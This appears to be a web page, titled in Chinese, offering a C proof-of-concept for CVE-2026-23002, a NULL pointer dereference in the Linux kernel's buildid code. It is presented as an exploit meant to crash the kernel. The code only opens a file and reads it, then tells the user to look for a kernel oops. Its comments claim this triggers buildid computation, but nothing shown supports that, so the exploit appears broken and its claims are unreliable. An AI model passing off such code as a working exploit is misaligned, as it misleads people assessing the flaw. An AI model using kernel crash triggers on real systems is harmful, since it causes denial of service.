CVE-2026-23002 Linux内核buildid模块NULL指针解引用漏洞

/* * CVE-2026-23002 PoC - Linux Kernel buildid NULL Pointer Dereference * This PoC triggers the vulnerability through buildid computation on a crafted file * * Note: This is a kernel-level vulnerability that requires specific conditions: * 1. Target system must have the vulnerable buildid code * 2. Attacker needs local access to trigger buildid computation * 3. Specific file access patterns can trigger the NULL pointer dereference * * This PoC demonstrates the concept and should be used in controlled environments only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #define MAX_PATH 4096 void trigger_buildid_vulnerability(const char *file_path) { /* * The vulnerability occurs when buildid code tries to read file contents * using read_cache_folio() in sleepable context, which can lead to NULL * pointer dereference in filemap_read_folio(). * * To trigger this: * 1. Create a file that will be processed by buildid * 2. Ensure specific memory conditions exist * 3. Access the file in a way that triggers buildid computation */ int fd = open(file_path, O_RDONLY); if (fd < 0) { perror("Failed to open file"); return; } /* Read file to trigger buildid computation */ char buffer[8192]; ssize_t bytes_read; while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) { /* Continue reading to trigger buildid on various file sections */ } close(fd); } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <target_file>\n", argv[0]); return 1; } printf("Attempting to trigger CVE-2026-23002...\n"); printf("Target file: %s\n", argv[1]); trigger_buildid_vulnerability(argv[1]); printf("Operation completed. Check system logs for kernel oops.\n"); return 0; }